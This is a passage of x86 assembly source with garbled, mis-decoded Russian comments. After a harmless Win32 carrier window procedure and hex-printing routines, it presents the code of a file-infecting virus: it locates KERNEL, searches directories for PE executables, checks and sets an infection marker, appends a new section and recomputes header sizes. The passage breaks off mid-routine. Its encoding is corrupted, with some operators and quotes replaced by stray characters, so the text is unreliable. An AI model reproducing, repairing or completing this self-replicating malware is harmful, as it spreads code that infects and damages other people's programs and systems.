mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
;ΠΡΠ²ΠΎΠ΄ ΡΡΡΠΎΠΊΠΈ Π² ΠΎΠΊΠ½ΠΎ
push L MSG_L ;ΠΠ»ΠΈΠ½Π° ΡΡΡΠΎΠΊΠΈ
push offset szPaint ;Π‘ΡΡΠΎΠΊΠ°
push L 5 ;Y
push L 5 ;X
push [theDC] ;DC
call TextOut
;ΠΠ±ΠΎΠ·Π½Π°ΡΠΈΠΌ Π·Π°Π²Π΅ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΠ΅ΡΠ΅ΡΠΈΡΠΎΠ²ΠΊΠΈ ΠΎΠΊΠ½Π°
push offset lppaint
push [hwnd]
call EndPaint
;ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ
mov eax, 0
jmp finish
;Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ WM_CREATE (ΡΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΎΠΊΠ½Π°)
wmcreate:
;ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ
mov eax, 0
jmp finish
;Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅, Π½Π΅ ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°Π΅ΠΌΠΎΠ΅ Π΄Π°Π½Π½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΎΠΉ, ΠΏΠ΅ΡΠ΅Π΄Π°Π΅ΠΌ Windows
defwndproc:
push [lparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
;ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ
jmp finish
;Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ WM_DESTROY (ΡΠ½ΠΈΡΡΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΠΊΠ½Π°)
wmdestroy:
;ΠΠ°ΠΊΡΠΎΠ΅ΠΌ ΠΏΠΎΡΠΎΠΊ
push L 0
call PostQuitMessage
;ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ
mov eax, 0
jmp finish
;Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ WM_LBUTTONDOWN (Π½Π°ΠΆΠ°ΡΠ° Π»Π΅Π²Π°Ρ ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΌΡΡΠΈ)
wmlbuttondown:
inc [mbx_count]
;ΠΠ±Π½ΠΎΠ²ΠΈΠΌ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ ΠΎΠΊΠ½Π°
push L 0
push L 0
push [hwnd]
call InvalidateRect
;ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ
mov eax, 0
jmp finish
;Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ WM_RBUTTONDOWN (Π½Π°ΠΆΠ°ΡΠ° ΠΏΡΠ°Π²Π°Ρ ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΌΡΡΠΈ)
wmrbuttondown:
push L 0
call MessageBeep
;ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ
jmp finish
;Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ WM_SIZE (ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ ΡΠ°Π·ΠΌΠ΅Ρ ΠΎΠΊΠ½Π°)
wmsize:
;ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ
mov eax, 0
jmp finish
;Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ WM_GETMINMAXINFO (ΠΏΠΎΠΏΡΡΠΊΠ° ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ ΡΠ°Π·ΠΌΠ΅Ρ
;ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΠΊΠ½Π°)
wmgetminmaxinfo:
;ΠΠ°ΠΏΠΎΠ»Π½ΠΈΠΌ ΡΡΡΡΠΊΡΡΡΡ MINMAXINFO
mov ebx, [lparam]
mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
;ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ
mov eax, 0
jmp finish
;ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ
finish:
ret
WndProc endp
;ΠΡΠΎΡΠ΅Π΄ΡΡΠ° ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄Π° Π±Π°ΠΉΡΠ° Π² ASCIIβΡΠΎΡΠΌΠ°Ρ Π΄Π»Ρ ΠΏΠ΅ΡΠ°ΡΠΈ. ΠΠ½Π°ΡΠ΅Π½ΠΈΠ΅,
;Π½Π°Ρ ΠΎΠ΄ΡΡΠ΅Π΅ΡΡ Π² ΡΠ΅Π³ΠΈΡΡΡΠ΅ AL, Π±ΡΠ΄Π΅Ρ Π·Π°ΠΏΠΈΡΠ°Π½ΠΎ Π² ASCIIβΡΠΎΡΠΌΠ°ΡΠ΅
;ΠΏΠΎ Π°Π΄ΡΠ΅ΡΡ ES:EDI
HexWrite8 proc
;Π Π°Π·Π΄Π΅Π»ΡΠ΅ΠΌ Π±Π°ΠΉΡ Π½Π° ΠΏΠΎΠ»ΡΠ±Π°ΠΉΡΡ ΠΈ Π·Π°Π³ΡΡΠΆΠ°Π΅ΠΌ ΠΈΡ Π² ΡΠ΅Π³ΠΈΡΡΡΡ AH ΠΈ AL
mov ah,al
and al,0Fh
shr ah,4
;ΠΠΎΠ±Π°Π²Π»ΡΠ΅ΠΌ 30h ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡ ΠΏΠΎΠ»ΡΠ±Π°ΠΉΡΡ, ΡΡΠΎΠ±Ρ ΡΠ΅Π³ΠΈΡΡΡΡ ΡΠΎΠ΄Π΅ΡΠΆΠ°Π»ΠΈ ΠΊΠΎΠ΄Ρ
;ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠΈΡ ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² ASCII. ΠΡΠ»ΠΈ ΡΠΈΡΠ»ΠΎ,
;Π·Π°ΠΏΠΈΡΠ°Π½Π½ΠΎΠ΅ Π² ΠΏΠΎΠ»ΡΠ±Π°ΠΉΡΠ΅, Π±ΡΠ»ΠΎ Π±ΠΎΠ»ΡΡΠ΅ 9,
;ΡΠΎ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ Π² ΡΡΠΎΠΌ ΠΏΠΎΠ»ΡΠ±Π°ΠΉΡΠ΅ Π½Π°Π΄ΠΎ Π΅ΡΠ΅ ΠΊΠΎΡΡΠ΅ΠΊΡΠΈΡΠΎΠ²Π°ΡΡ
or ax,3030h
;ΠΠ΅Π½ΡΠ΅ΠΌ ΠΏΠΎΠ»ΡΠ±Π°ΠΉΡΡ ΠΌΠ΅ΡΡΠ°ΠΌΠΈ, ΡΡΠΎΠ±Ρ ΡΠ΅Π³ΠΈΡΡΡ AH ΡΠΎΠ΄Π΅ΡΠΆΠ°Π» ΠΌΠ»Π°Π΄ΡΠΈΠΉ
;ΠΏΠΎΠ»ΡΠ±Π°ΠΉΡ, Π° ΡΠ΅Π³ΠΈΡΡΡ AL β ΡΡΠ°ΡΡΠΈΠΉ
xchg al,ah
;ΠΡΠΎΠ²Π΅ΡΠΈΠΌ, Π½Π°Π΄ΠΎ Π»ΠΈ ΠΊΠΎΡΡΠ΅ΠΊΡΠΈΡΠΎΠ²Π°ΡΡ ΠΌΠ»Π°Π΄ΡΠΈΠΉ ΠΏΠΎΠ»ΡΠ±Π°ΠΉΡ,
;Π΅ΡΠ»ΠΈ Π΄Π° β ΠΊΠΎΡΡΠ΅ΠΊΡΠΈΡΡΠ΅ΠΌ
cmp ah, 39h
ja @@4
;ΠΡΠΎΠ²Π΅ΡΠΈΠΌ, Π½Π°Π΄ΠΎ Π»ΠΈ ΠΊΠΎΡΡΠ΅ΠΊΡΠΈΡΠΎΠ²Π°ΡΡ ΡΡΠ°ΡΡΠΈΠΉ ΠΏΠΎΠ»ΡΠ±Π°ΠΉΡ,
;Π΅ΡΠ»ΠΈ Π΄Π° β ΠΊΠΎΡΡΠ΅ΠΊΡΠΈΡΡΠ΅ΠΌ
@@1:
cmp al,39h
ja @@3
;Π‘ΠΎΡ ΡΠ°Π½ΠΈΠΌ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΠΏΠΎ Π°Π΄ΡΠ΅ΡΡ ES:EDI
@@2:
stosw
ret
;ΠΠΎΡΡΠ΅ΠΊΡΠΈΡΡΠ΅ΠΌ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΡΡΠ°ΡΡΠ΅Π³ΠΎ ΠΏΠΎΠ»ΡΠ±Π°ΠΉΡΠ°
@@3:
sub al, 30h
add al, βAββ10
jmp @@2
;ΠΠΎΡΡΠ΅ΠΊΡΠΈΡΡΠ΅ΠΌ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΠΌΠ»Π°Π΄ΡΠ΅Π³ΠΎ ΠΏΠΎΠ»ΡΠ±Π°ΠΉΡΠ°
@@4:
sub ah, 30h
add ah, βAββ10
jmp @@1
HexWrite8 endp
;ΠΡΠΎΡΠ΅Π΄ΡΡΠ° ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄Π° ΡΠ»ΠΎΠ²Π° Π² ASCIIβΡΠΎΡΠΌΠ°Ρ Π΄Π»Ρ ΠΏΠ΅ΡΠ°ΡΠΈ.
;ΠΠ½Π°ΡΠ΅Π½ΠΈΠ΅, Π½Π°Ρ ΠΎΠ΄ΡΡΠ΅Π΅ΡΡ Π² ΡΠ΅Π³ΠΈΡΡΡΠ΅ AX, Π±ΡΠ΄Π΅Ρ Π·Π°ΠΏΠΈΡΠ°Π½ΠΎ
;Π² ASCIIβΡΠΎΡΠΌΠ°ΡΠ΅ ΠΏΠΎ Π°Π΄ΡΠ΅ΡΡ ES:EDI
HexWrite16 proc
;Π‘ΠΎΡ ΡΠ°Π½ΠΈΠΌ ΠΌΠ»Π°Π΄ΡΠΈΠΉ Π±Π°ΠΉΡ ΠΈΠ· ΡΡΠ΅ΠΊΠ°
push ax
;ΠΠ°Π³ΡΡΠ·ΠΈΠΌ ΡΡΠ°ΡΡΠΈΠΉ Π±Π°ΠΉΡ Π² ΡΠ΅Π³ΠΈΡΡΡ AL
xchg al,ah
;ΠΠ΅ΡΠ΅Π²Π΅Π΄Π΅ΠΌ ΡΡΠ°ΡΡΠΈΠΉ Π±Π°ΠΉΡ Π² ASCIIβΡΠΎΡΠΌΠ°Ρ
call HexWrite8
;ΠΠΎΡΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΠΌΠ»Π°Π΄ΡΠΈΠΉ Π±Π°ΠΉΡ ΠΈΠ· ΡΡΠ΅ΠΊΠ°
pop ax
;ΠΠ΅ΡΠ΅Π²Π΅Π΄Π΅ΠΌ ΠΌΠ»Π°Π΄ΡΠΈΠΉ Π±Π°ΠΉΡ Π² ASCIIβΡΠΎΡΠΌΠ°Ρ
call HexWrite8
ret
HexWrite16 endp
;ΠΡΠΎΡΠ΅Π΄ΡΡΠ° ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄Π° Π΄Π²ΠΎΠΉΠ½ΠΎΠ³ΠΎ ΡΠ»ΠΎΠ²Π° Π² ASCIIβΡΠΎΡΠΌΠ°Ρ Π΄Π»Ρ ΠΏΠ΅ΡΠ°ΡΠΈ.
;ΠΠ½Π°ΡΠ΅Π½ΠΈΠ΅, Π½Π°Ρ ΠΎΠ΄ΡΡΠ΅Π΅ΡΡ Π² ΡΠ΅Π³ΠΈΡΡΡΠ΅ EAX, Π±ΡΠ΄Π΅Ρ Π·Π°ΠΏΠΈΡΠ°Π½ΠΎ
;Π² ASCIIβΡΠΎΡΠΌΠ°ΡΠ΅ ΠΏΠΎ Π°Π΄ΡΠ΅ΡΡ ES:EDI
HexWrite32 proc
;Π‘ΠΎΡ ΡΠ°Π½ΠΈΠΌ ΠΌΠ»Π°Π΄ΡΠ΅Π΅ ΡΠ»ΠΎΠ²ΠΎ ΠΈΠ· ΡΡΠ΅ΠΊΠ°
push eax
;ΠΠ°Π³ΡΡΠ·ΠΈΠΌ ΡΡΠ°ΡΡΠ΅Π΅ ΡΠ»ΠΎΠ²ΠΎ Π² ΡΠ΅Π³ΠΈΡΡΡ AX
shr eax, 16
;ΠΠ΅ΡΠ΅Π²Π΅Π΄Π΅ΠΌ ΡΡΠ°ΡΡΠ΅Π΅ ΡΠ»ΠΎΠ²ΠΎ Π² ASCIIβΡΠΎΡΠΌΠ°Ρ
call HexWrite16
;ΠΠΎΡΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΠΌΠ»Π°Π΄ΡΠ΅Π΅ ΡΠ»ΠΎΠ²ΠΎ ΠΈΠ· ΡΡΠ΅ΠΊΠ°
pop eax
;ΠΠ΅ΡΠ΅Π²Π΅Π΄Π΅ΠΌ ΠΌΠ»Π°Π΄ΡΠ΅Π΅ ΡΠ»ΠΎΠ²ΠΎ Π² ASCIIβΡΠΎΡΠΌΠ°Ρ
call HexWrite16
ret
HexWrite32 endp
;Π‘Π΄Π΅Π»Π°Π΅ΠΌ ΠΏΡΠΎΡΠ΅Π΄ΡΡΡ WndProc Π΄ΠΎΡΡΡΠΏΠ½ΠΎΠΉ ΠΈΠ·Π²Π½Π΅
public WndProc
ends
;ΠΠ΄Π΅ΡΡ Π½Π°ΡΠΈΠ½Π°Π΅ΡΡΡ ΠΊΠΎΠ΄ Π²ΠΈΡΡΡΠ°. ΠΡΠΎΡ ΠΊΠΎΠ΄ ΠΏΠ΅ΡΠ΅ΠΏΠΈΡΡΠ²Π°Π΅ΡΡΡ ΠΈΠ· ΡΠ°ΠΉΠ»Π°
;Π² ΡΠ°ΠΉΠ». ΠΡΠ΅ Π²ΡΡΠ΅ΠΎΠΏΠΈΡΠ°Π½Π½ΠΎΠ΅ β Π²ΡΠ΅Π³ΠΎ Π»ΠΈΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°βΠ½ΠΎΡΠΈΡΠ΅Π»Ρ
vladseg segment para public βvladβ
assume cs:vladseg
vstart:
;ΠΡΡΠΈΡΠ»ΠΈΠΌ ΡΠ΅ΠΊΡΡΠΈΠΉ Π°Π΄ΡΠ΅Ρ
call recalc
recalc:
pop ebp
mov eax,ebp
db 2Dh ;ΠΠΎΠ΄ ΠΊΠΎΠΌΠ°Π½Π΄Ρ SUB AX
subme dd 30000h+(recalcβvstart)
;Π‘ΠΎΡ ΡΠ°Π½ΠΈΠΌ Π°Π΄ΡΠ΅Ρ Π² ΡΡΠ΅ΠΊΠ΅
push eax
;ΠΡΡΠΈΡΠ»ΠΈΠΌ ΡΡΠ°ΡΡΠΎΠ²ΡΠΉ Π°Π΄ΡΠ΅Ρ Π²ΠΈΡΡΡΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°
sub ebp,offset recalc
;ΠΡΠ΅ΠΌ KERNEL. ΠΠΎΠ·ΡΠΌΠ΅ΠΌ Π²ΡΠΎΡΡΡ ΠΈΠ·Π²Π΅ΡΡΠ½ΡΡ Π½Π°ΠΌ ΡΠΎΡΠΊΡ KERNEL
mov eax,[ebp+offset kern2]
;ΠΡΠΎΠ²Π΅ΡΠΈΠΌ ΠΊΠ»ΡΡ. ΠΡΠ»ΠΈ ΠΊΠ»ΡΡΠ° Π½Π΅Ρ, ΠΏΠ΅ΡΠ΅ΠΉΠ΄Π΅ΠΌ ΠΊ ΡΠΎΡΠΊΠ΅ 1
cmp dword ptr [eax],5350FC9Ch
jnz notkern2
;KERNEL Π½Π°ΠΉΠ΄Π΅Π½, ΡΠΎΡΠΊΠ° 2
mov eax,[ebp+offset kern2]
jmp movit
;Π’ΠΎΡΠΊΠ° 2 Π½Π΅ ΠΏΠΎΠ΄ΠΎΡΠ»Π°, ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ ΡΠΎΡΠΊΡ 1
notkern2:
;ΠΠΎΠ·ΡΠΌΠ΅ΠΌ Π°Π΄ΡΠ΅Ρ ΠΏΠ΅ΡΠ²ΠΎΠΉ ΠΈΠ·Π²Π΅ΡΡΠ½ΠΎΠΉ Π½Π°ΠΌ ΡΠΎΡΠΊΠΈ KERNEL
mov eax,[ebp+offset kern1]
;ΠΡΠΎΠ²Π΅ΡΠΈΠΌ ΠΊΠ»ΡΡ, Π΅ΡΠ»ΠΈ ΠΊΠ»ΡΡΠ° Π½Π΅Ρ β Π²ΡΡ ΠΎΠ΄ΠΈΠΌ
cmp dword ptr [eax],5350FC9Ch
jnz nopayload
;KERNEL Π½Π°ΠΉΠ΄Π΅Π½, ΡΠΎΡΠΊΠ° 1
mov eax,[ebp+offset kern1]
;KERNEL Π½Π°ΠΉΠ΄Π΅Π½, Π°Π΄ΡΠ΅Ρ ΡΠΎΡΠΊΠΈ Π²Ρ ΠΎΠ΄Π° Π½Π°Ρ ΠΎΠ΄ΠΈΡΡΡ Π² ΡΠ΅Π³ΠΈΡΡΡΠ΅ EAX
movit:
;Π‘ΠΎΡ ΡΠ°Π½ΠΈΠΌ Π°Π΄ΡΠ΅Ρ KERNEL
mov [ebp+offset kern],eax
cld
;ΠΠ°ΠΏΠΎΠΌΠ½ΠΈΠΌ ΡΠ΅ΠΊΡΡΡΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ
lea eax,[ebp+offset orgdir]
push eax
push 255
call GetCurDir
;ΠΠ½ΠΈΡΠΈΠ°Π»ΠΈΠ·ΠΈΡΡΠ΅ΠΌ ΡΡΠ΅ΡΡΠΈΠΊ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΠΉ
mov byte ptr [ebp+offset countinfect],0
;ΠΡΠ΅ΠΌ ΠΏΠ΅ΡΠ²ΡΠΉ ΡΠ°ΠΉΠ»
infectdir:
lea eax,[ebp+offset win32_data_thang]
push eax
lea eax,[ebp+offset fname]
push eax
call FindFile
;Π‘ΠΎΡ ΡΠ°Π½ΠΈΠΌ ΠΈΠ½Π΄Π΅ΠΊΡ Π΄Π»Ρ ΠΏΠΎΠΈΡΠΊΠ°
mov dword ptr [ebp+offset searchhandle],eax
;ΠΡΠΎΠ²Π΅ΡΠΈΠΌ, Π½Π°ΠΉΠ΄Π΅Π½ Π»ΠΈ ΡΠ°ΠΉΠ». ΠΡΠ»ΠΈ ΡΠ°ΠΉΠ» Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½,
;ΠΌΠ΅Π½ΡΠ΅ΠΌ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ
cmp eax,β1
jz foundnothing
;ΠΡΠΊΡΠΎΠ΅ΠΌ ΡΠ°ΠΉΠ» Π΄Π»Ρ ΡΡΠ΅Π½ΠΈΡ ΠΈ Π·Π°ΠΏΠΈΡΠΈ
gofile:
push 0
push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
push 3 ;OPEN_EXISTING
push 0
push 0
push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE
lea eax,[ebp+offset fullname]
push eax
call CreateFile
;Π‘ΠΎΡ ΡΠ°Π½ΠΈΠΌ ΠΎΠΏΠΈΡΠ°ΡΠ΅Π»Ρ ΡΠ°ΠΉΠ»Π°
mov dword ptr [ebp+offset ahand],eax
;ΠΡΠΎΠ²Π΅ΡΠΈΠΌ, Π½Π΅ ΠΏΡΠΎΠΈΠ·ΠΎΡΠ»Π° Π»ΠΈ ΠΎΡΠΈΠ±ΠΊΠ°.
;ΠΡΠ»ΠΈ ΠΎΡΠΈΠ±ΠΊΠ° ΠΏΡΠΎΠΈΠ·ΠΎΡΠ»Π°, ΠΈΡΠ΅ΠΌ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΡΠ°ΠΉΠ»
cmp eax,β1
jz findnextone
;ΠΠΎΡΡΠ°Π²ΠΈΠΌ ΡΠΊΠ°Π·Π°ΡΠ΅Π»Ρ ΠΏΠΎΠ·ΠΈΡΠΈΠΈ ΡΡΠ΅Π½ΠΈΡ/Π·Π°ΠΏΠΈΡΠΈ Π½Π° ΠΏΠΎΠ»Π΅
;ΡΠΎ ΡΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ΠΌ PEβΠ·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°
push 0
push 0
push 3Ch
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Π‘ΡΠΈΡΠ°Π΅ΠΌ Π°Π΄ΡΠ΅Ρ PEβΠ·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°
push 0
lea eax,[ebp+offset bytesread]
push eax
push 4
lea eax,[ebp+offset peheaderoffset]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;ΠΠΎΡΡΠ°Π²ΠΈΠΌ ΡΠΊΠ°Π·Π°ΡΠ΅Π»Ρ ΠΏΠΎΠ·ΠΈΡΠΈΠΈ ΡΡΠ΅Π½ΠΈΡ/Π·Π°ΠΏΠΈΡΠΈ Π½Π° Π½Π°ΡΠ°Π»ΠΎ PEβΠ·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Π‘ΡΠΈΡΠ°Π΅ΠΌ ΡΠΈΡΠ»ΠΎ Π±Π°ΠΉΡ, Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΠΎΠ΅ Π΄Π»Ρ Π²ΡΡΠΈΡΠ»Π΅Π½ΠΈΡ ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ ΡΠ°Π·ΠΌΠ΅ΡΠ°
;PEβΠ·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈ ΡΠ°Π±Π»ΠΈΡΡ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ²
push 0
lea eax,[ebp+offset bytesread]
push eax
push 58h
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;ΠΡΠΎΠ²Π΅ΡΠΈΠΌ ΡΠΈΠ³Π½Π°ΡΡΡΡ. ΠΡΠ»ΠΈ Π΅Π΅ Π½Π΅Ρ, Π·Π°ΠΊΡΡΠ²Π°Π΅ΠΌ
;ΡΡΠΎΡ ΡΠ°ΠΉΠ» ΠΈ ΠΈΡΠ΅ΠΌ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ
cmp dword ptr [ebp+offset peheader],00004550h;
jnz notape
;ΠΡΠΎΠ²Π΅ΡΠΈΠΌ ΡΠ°ΠΉΠ» Π½Π° Π·Π°ΡΠ°ΠΆΠ΅Π½Π½ΠΎΡΡΡ. ΠΡΠ»ΠΈ ΡΠ°ΠΉΠ» Π·Π°ΡΠ°ΠΆΠ΅Π½,
;ΡΠΎ Π·Π°ΠΊΡΡΠ²Π°Π΅ΠΌ ΡΡΠΎΡ ΡΠ°ΠΉΠ» ΠΈ ΠΈΡΠ΅ΠΌ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ
cmp word ptr [ebp+offset peheader+4ch],0F00Dh
jz notape
cmp dword ptr [ebp+offset 52],4000000h
jz notape
;ΠΠΎΡΡΠ°Π²ΠΈΠΌ ΡΠΊΠ°Π·Π°ΡΠ΅Π»Ρ ΠΏΠΎΠ·ΠΈΡΠΈΠΈ ΡΡΠ΅Π½ΠΈΡ/Π·Π°ΠΏΠΈΡΠΈ Π½Π° Π½Π°ΡΠ°Π»ΠΎ PEβΠ·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Π‘ΡΠΈΡΠ°Π΅ΠΌ Π²Π΅ΡΡ PEβΠ·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ ΡΠ°Π±Π»ΠΈΡΡ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ²
push 0
lea eax,[ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΠΏΡΠΈΠ·Π½Π°ΠΊ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ
mov word ptr [ebp+offset peheader+4ch],0F00Dh
;ΠΠ°ΠΉΠ΄Π΅ΠΌ ΡΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ ΡΠ°Π±Π»ΠΈΡΡ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ²
xor eax,eax
mov ax, word ptr [ebp+offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax
;ΠΡΡΠΈΡΠ»ΠΈΠΌ ΡΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ ΠΏΠΎΡΠ»Π΅Π΄Π½Π΅Π³ΠΎ (null) ΠΎΠ±ΡΠ΅ΠΊΡΠ° Π² ΡΠ°Π±Π»ΠΈΡΠ΅ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ²
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp+offset numObj]
mov ecx,40
xor edx,edx
mul ecx
add esi,eax
;Π£Π²Π΅Π»ΠΈΡΠΈΠΌ ΡΠΈΡΠ»ΠΎ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ² Π½Π° 1
inc word ptr [ebp+offset numObj]
lea edi,[ebp+offset newobject]
xchg edi,esi
;ΠΡΡΠΈΡΠ»ΠΈΠΌ ΠΎΡΠ½ΠΎΡΠΈΡΠ΅Π»ΡΠ½ΡΠΉ Π²ΠΈΡΡΡΠ°Π»ΡΠ½ΡΠΉ Π°Π΄ΡΠ΅Ρ (Relative Virtual Address
;ΠΈΠ»ΠΈ RVA) Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡΠ΅ΠΊΡΠ°
mov eax,[ediβ5*8+8]
add eax,[ediβ5*8+12]
mov ecx,dword ptr [ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;ΠΡΡΠΈΡΠ»ΠΈΠΌ ΡΠΈΠ·ΠΈΡΠ΅ΡΠΊΠΈΠΉ ΡΠ°Π·ΠΌΠ΅Ρ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡΠ΅ΠΊΡΠ°
mov ecx,dword ptr [ebp+offset filealign]
mov eax,vendβvstart
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax
;ΠΡΡΠΈΡΠ»ΠΈΠΌ Π²ΠΈΡΡΡΠ°Π»ΡΠ½ΡΠΉ ΡΠ°Π·ΠΌΠ΅Ρ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡΠ΅ΠΊΡΠ°
mov ecx,dword ptr [ebp+offset objalign]
mov eax,vendβvstart+1000h
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax
;ΠΡΡΠΈΡΠ»ΠΈΠΌ ΡΠΈΠ·ΠΈΡΠ΅ΡΠΊΠΎΠ΅ ΡΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡΠ΅ΠΊΡΠ°
mov eax,[ediβ5*8+20]
add eax,[ediβ5*8+16]
mov ecx,dword ptr [ebp+offset filealign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
;ΠΠ±Π½ΠΎΠ²ΠΈΠΌ ΡΠ°Π·ΠΌΠ΅Ρ ΠΎΠ±ΡΠ°Π·Π° (ΡΠ°Π·ΠΌΠ΅Ρ Π² ΠΏΠ°ΠΌΡΡΠΈ) ΡΠ°ΠΉΠ»Π°
mov eax,vendβvstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx,[ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset imagesize],eax
